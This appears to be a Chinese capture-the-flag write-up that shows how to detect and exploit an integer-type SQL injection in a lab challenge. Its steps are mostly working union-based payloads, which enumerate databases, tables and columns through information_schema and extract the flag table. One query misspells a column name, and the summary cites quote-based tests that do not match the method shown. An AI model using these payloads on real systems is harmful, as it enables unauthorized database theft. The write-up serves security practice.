目录
根据网页显示内容输入1进行测试,发现此题可能存在SQL注入
整数型注入漏洞判断:
- id=1 and 1 = 1,语句执行正常,页面有回显
- id=1 and 1 = 2,语句执行正常,页面无回显
判断注入
输入 and 1=1 和 and 1=2 验证是否存在SQL注入
1 and 1=1
1 and 1=2
页面正常有回显
页面正常无回显,说明存在SQL整数型注入
判断字段数量
1 order by 1
1 order by 2
1 order by 3
无回显,说明字段数量为2列
查看数据库位置
1 union select 1,2
未发现
数据可能不存在数据库中,在id=1中加入负号可以查看到不存在数据库中的数据
-1 union select 1,2
查看数据库名
-1 union select 1,database()
查看全部数据库名
-1 union select 1,group_concat(schema_name) from information_schema.schemata
查看数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='sqli'
在sqli数据库中发现名为flag的可疑表名
查看表中字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where tables_schema='sqli' and table_name='flag'
查看字段下数据
-1 union select 1,group_concat(flag) from sqli.flag
最终,得到了本题的flag
总结
根据题目描述输入 1 进行测试,发现此题可能存在 SQL 注入漏洞。使用 id=1' and 1 = 1 和 id=1' and 1 = 2’进行判断,此题存在 SQL 整数型漏洞注入。然后第一步先判断字段数量,然后查看数据库名,接着查看全部数据库名,查看这些数据库的表名,发现一个表名为 flag 。查看这个表的全部字段后接着查看表中的数据得到此题 flag。